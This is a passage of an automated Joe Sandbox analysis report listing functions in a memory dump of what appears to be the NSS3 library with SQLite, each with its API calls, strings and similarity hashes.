Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: f8bd630076e0cf1f6736fd070bd06d3a453a1f12beefc448c33320f852181331
Instruction ID: 8ec4c7d15187a565c9e48f6f9190646f98c7649e46d722c00c9d43282c9003ea
Opcode Fuzzy Hash: f8bd630076e0cf1f6736fd070bd06d3a453a1f12beefc448c33320f852181331
Instruction Fuzzy Hash: F691E1B0A042158FDB14CF39D984A6BB7B6FF45304F1C462DE41697B50EB38E884CB51

Function 6CBA8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBF14E4,6CB5CC70), ref: 6CBA8D47
PR_GetCurrentThread.NSS3 ref: 6CBA8D98

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CBA8E7B
htons.WSOCK32(?), ref: 6CBA8EDB
PR_GetCurrentThread.NSS3 ref: 6CBA8F99
PR_GetCurrentThread.NSS3 ref: 6CBA910A

Strings

%u.%u.%u.%u, xrefs: 6CBA8E74

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 5614f67b7e13cf9858bffcaf70f50f7c563752c9f6498775dfb4638ef8c19306
Instruction ID: 463e200f76c08d3e2d787a5cdb6731494da61c78cd0ce8f211f755c53ffdd05f
Opcode Fuzzy Hash: 5614f67b7e13cf9858bffcaf70f50f7c563752c9f6498775dfb4638ef8c19306
Instruction Fuzzy Hash: 8D029931D092D19FEB188F59C46876ABBB2EF42304F19825ED8D15FA91C333D94AC791

Function 6CB4A480 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CB6C3A2,?,?,00000000,00000000), ref: 6CB4A528
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB4A6E0
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB4A71B
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB4A738

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB4A6CA
%s at line %d of [%.10s], xrefs: 6CB4A6D9
database corruption, xrefs: 6CB4A6D4

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ushort$_byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 622669576-598938438
Opcode ID: e74ab46ea7c8f52a59fb413ed251501706c49ed3a089f79c54804c3a17e6ec86
Instruction ID: cab864b211aae4cc9ded2891c23a47bd5cb5df2562e81f50cc301b4252a99f45
Opcode Fuzzy Hash: e74ab46ea7c8f52a59fb413ed251501706c49ed3a089f79c54804c3a17e6ec86
Instruction Fuzzy Hash: CF91D07160C3818BC714CF28C48065AB7E1FF88314F458A7DE8958BB95EB70EC85DB82

Function 6CB268E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CB268FC
PR_EnterMonitor.NSS3 ref: 6CB26924

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

PR_EnterMonitor.NSS3 ref: 6CB2693E
TlsGetValue.KERNEL32 ref: 6CB26977
TlsGetValue.KERNEL32 ref: 6CB269B8
PR_ExitMonitor.NSS3 ref: 6CB26B1E
PR_ExitMonitor.NSS3 ref: 6CB26B39
TlsGetValue.KERNEL32 ref: 6CB26B62

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 2cf79bc6dd2c3789132a6a7e506ad85a10982841da8a832ab093cc8a6946401d
Instruction ID: 15097414893a32d9087dafc1faaf4906f59726b9857cffe19d84fbbc4cea4fa1
Opcode Fuzzy Hash: 2cf79bc6dd2c3789132a6a7e506ad85a10982841da8a832ab093cc8a6946401d
Instruction Fuzzy Hash: 7A919D74A58180CBDB40DF6DC4C956E7BB2FB87308B618699C848CFB19D739D981CB82

Function 6CA2EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

there is already an index named %s, xrefs: 6CA2F9D7
table, xrefs: 6CA2F05C, 6CA2FABC, 6CA2FAC7
temporary table name must be unqualified, xrefs: 6CA2F734
%s %T already exists, xrefs: 6CA2FAC8
sqlite_master, xrefs: 6CA2F0AB, 6CA2F2DA, 6CA2F757, 6CA2F93E
sqlite_temp_master, xrefs: 6CA2F0A6, 6CA2F2D5
not authorized, xrefs: 6CA2F957, 6CA2F9BA
view, xrefs: 6CA2F061, 6CA2F071, 6CA2FAB7
authorizer malfunction, xrefs: 6CA2F95C, 6CA2F9BF, 6CA2FA5E, 6CA2FA8B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: c10f057a4fe8289c3480028c8d332cbcbdd06c9b3e00864307a9867db167f1d1
Instruction ID: 054ba72d522498f653538188c7a094f2479322cf7481ee7414b92625aacfe484
Opcode Fuzzy Hash: c10f057a4fe8289c3480028c8d332cbcbdd06c9b3e00864307a9867db167f1d1
Instruction Fuzzy Hash: 1E72A370E042658FDB14CF68C884BAABBF1FF49308F1881ADD9159B752D779E885CB90

Function 6CAB09A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB06A0: TlsGetValue.KERNEL32 ref: 6CAB06C2
Part of subcall function 6CAB06A0: EnterCriticalSection.KERNEL32(?), ref: 6CAB06D6
Part of subcall function 6CAB06A0: PR_Unlock.NSS3 ref: 6CAB06EB

memcmp.VCRUNTIME140(00000000,6CA99B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CA99B8A,00000000,6CA92D6B), ref: 6CAB09D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CA99B8A,00000000,6CA92D6B), ref: 6CAB09F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CA99B8A,00000000,6CA92D6B), ref: 6CAB0A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CA99B8A,00000000,6CA92D6B), ref: 6CAB0A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CA99B8A,00000000,6CA92D6B), ref: 6CAB0A48

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: 528ddc8b37d74c26b0572b979ed9e8845f375506e9dedd2bc12c55554755e5a0
Instruction ID: 9905d83320dd0d25a67f0774389ba7b905ac2c1afe904c7bf0ac320cdc3f48cc
Opcode Fuzzy Hash: 528ddc8b37d74c26b0572b979ed9e8845f375506e9dedd2bc12c55554755e5a0
Instruction Fuzzy Hash: 0302E3B1E002449FEB008F65DE41BAB77B9FF48318F180529ED15A7B52E731E989CB91

Function 6CB26BE0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB26C2C

Part of subcall function 6CB26E90: PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CB26BF7), ref: 6CB26EB6
Part of subcall function 6CB26E90: fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CBCFC0A,6CB26BF7), ref: 6CB26ECD
Part of subcall function 6CB26E90: ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB26EE0
Part of subcall function 6CB26E90: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CB26EFC
Part of subcall function 6CB26E90: PR_NewLock.NSS3 ref: 6CB26F04
Part of subcall function 6CB26E90: fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB26F18
Part of subcall function 6CB26E90: PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CB26BF7), ref: 6CB26F30
Part of subcall function 6CB26E90: PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CB26BF7), ref: 6CB26F54

TlsGetValue.KERNEL32 ref: 6CB26D93
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CB26BF7), ref: 6CB26FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CB26BF7), ref: 6CB26FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CB26FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CB26FF8

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Secure$Value$Lockfclosefopenftellfwrite
String ID: NSS_SSL_CBC_RANDOM_IV$NSS_SSL_REQUIRE_SAFE_NEGOTIATION
API String ID: 3032383292-3007362596
Opcode ID: 308f448fb396bf70c7fbffc22cb215335d8b532c3c8198109795938b00eb30e3
Instruction ID: e3970746e3f45cdd2a266b4ce7270ec16a265f944d68b10e0554992e9ad6c10c
Opcode Fuzzy Hash: 308f448fb396bf70c7fbffc22cb215335d8b532c3c8198109795938b00eb30e3
Instruction Fuzzy Hash: 1D713DB47495E8DBDB28AA2CF5A153437B1E75B308B400219CC6B8BFA1DB386452C763

Function 6CA70820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6CA711D2

Strings

rows deleted, xrefs: 6CA717D2
not authorized, xrefs: 6CA7175E, 6CA71763
@, xrefs: 6CA70B17
authorizer malfunction, xrefs: 6CA71BD2

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: fae7eb296de138d9e601597d53f7503ffbee508730080de52e413ed5a2f97a04
Instruction ID: 21d1be0130865b94fa8c9b563dfd80795a5c92a947285d83ca5777857dff77bb
Opcode Fuzzy Hash: fae7eb296de138d9e601597d53f7503ffbee508730080de52e413ed5a2f97a04
Instruction Fuzzy Hash: 66D29D74E04249CFDB24CFA9C494BADBBF1BF48308F188169D519ABB51D731E896CB90

Function 6CB3C9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6CB3CEA5

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 1a79fcc438cd53e229c4dc3412d5162f7cae2eda01df64a20ef156075486c677
Instruction ID: 2c72a6466ea26cb1376efc71acbd6457b939152adc7cebac501de4650fadad82
Opcode Fuzzy Hash: 1a79fcc438cd53e229c4dc3412d5162f7cae2eda01df64a20ef156075486c677
Instruction Fuzzy Hash: 3A719071A157608FC304CF38D48461ABBE5FF89714F208B2DE8A9876A0E730E855CB92

Function 6CBACDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBAD086
PR_Malloc.NSS3(00000001), ref: 6CBAD0B9
PR_Free.NSS3(?), ref: 6CBAD138

Strings

>, xrefs: 6CBACF5B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 5d99d8fdda0e9dcc582e8fbed4aaf8e9eb370d3b0cc44404d065e460dbbeb600
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 9DD15D62B8D6C60BEB2448FD9C713E97793C742374F584325D9E18BBE5E61A8847C342

Function 6CB4AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d36a1d916dfe9678930b5691708e931e714273ecb695b63b5321fd2e39b7e4e0
Instruction ID: 546217773ec9e9c37b0471219156f432d64eb4200269951d402152699bb7e784
Opcode Fuzzy Hash: d36a1d916dfe9678930b5691708e931e714273ecb695b63b5321fd2e39b7e4e0
Instruction Fuzzy Hash: 2CF101B1E055A68BDB04CF68D8417AD77F8EB8E748F19822DC911D7B48E7709941CBC1

Function 6CA76900 Relevance: 6.3, Strings: 4, Instructions: 1257COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6CA778EC, 6CA778F1
authorizer malfunction, xrefs: 6CA77910
sqlite\_%, xrefs: 6CA76953
BBB, xrefs: 6CA77207, 6CA7780B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: BBB$authorizer malfunction$not authorized$sqlite\_%
API String ID: 3412268980-2664116055
Opcode ID: e8f5c9f7d0716ff75ecc2df6b1ed4cfe0091861e27bcf42420ed2496a6a4d163
Instruction ID: 1741ae8b98f8def9ff2bb938b78373b8b4473a81d953cf3a6cd13267423d201d
Opcode Fuzzy Hash: e8f5c9f7d0716ff75ecc2df6b1ed4cfe0091861e27bcf42420ed2496a6a4d163
Instruction Fuzzy Hash: F0C28174A00205CFDB25CF58C480AA9BBF2FF89308F28816DD915AB755D736E996CF90

Function 6CA26F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6CA27067
unordered*, xrefs: 6CA2702B
*?[, xrefs: 6CA27034, 6CA27052, 6CA27070
sz=[0-9]*, xrefs: 6CA27049

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 58c79927d601d95f0d88428c446fbb498ddc8d5ff017c1a15ec07be20d8e6e9d
Instruction ID: 2ff32280193ace2a1a83c5ec5866e05246dc4841ede5129c7593365323556d30
Opcode Fuzzy Hash: 58c79927d601d95f0d88428c446fbb498ddc8d5ff017c1a15ec07be20d8e6e9d
Instruction Fuzzy Hash: DC718D32F051314BDB248A6DC8807AAB3929F85314F2D0238CD55EBFD1D6799ECA87D1

Function 6CB60B40 Relevance: 4.6, APIs: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.NSS3(?,?,?,?), ref: 6CB60B7C
sqlite3_bind_double.NSS3 ref: 6CB60BF1
sqlite3_bind_zeroblob.NSS3(?,?,00000000), ref: 6CB60C27

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_bind_doublesqlite3_bind_int64sqlite3_bind_zeroblob
String ID:
API String ID: 4141409403-0
Opcode ID: e64ea8c08293cbdfd1840e64ca0f2ea50df4fb4158a8aa50557296bfc5a232f3
Instruction ID: 2279db4f9990eecaba938d67c02b60548c582a5651cddbd35cb696825d415101
Opcode Fuzzy Hash: e64ea8c08293cbdfd1840e64ca0f2ea50df4fb4158a8aa50557296bfc5a232f3
Instruction Fuzzy Hash: 132178329485909FD7015F6BEC0096AB7B9EF87738F0DC245E8981BB92DB309801C7DA

Function 6CA664D0 Relevance: 3.2, Strings: 2, Instructions: 724COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6CA66D47, 6CA66D4C
authorizer malfunction, xrefs: 6CA66E3E

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID: authorizer malfunction$not authorized
